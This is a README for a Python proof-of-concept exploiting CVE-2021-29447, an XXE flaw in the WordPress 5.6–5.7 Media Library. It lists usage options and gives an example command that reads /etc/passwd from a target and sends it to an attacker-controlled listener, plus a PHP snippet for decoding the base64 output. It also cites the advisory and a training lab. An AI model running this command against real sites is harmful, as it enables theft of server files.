## https://sploitus.com/exploit?id=7DFF5575-EF87-57E6-8C41-74A939D89627
[cve-2021-29447]: https://vulners.com/cve/CVE-2021-29447
# CVE-2021-29447 Proof-of-Concept
```
โโโโฆ โฆโโโ
โ โโโโโโฃโโโโ2021-29447
โโโ โโ โโโ
Written By (Isa Ebrahim - 0xRar) on January, 2023
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
[CVE-2021-29447]: A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release.
This script is easy to understand & run and it will automate the steps required to exploit the XXE attack
on the wordpress media library.
## Usage
```
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
```
Example:
```
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
```
To decode the base64 use/run the following php snippet:
```php
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
```
```shell
$ php decode.php
```
---
- References:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
- https://vulners.com/cve/CVE-2021-29447
- https://tryhackme.com/room/wordpresscve202129447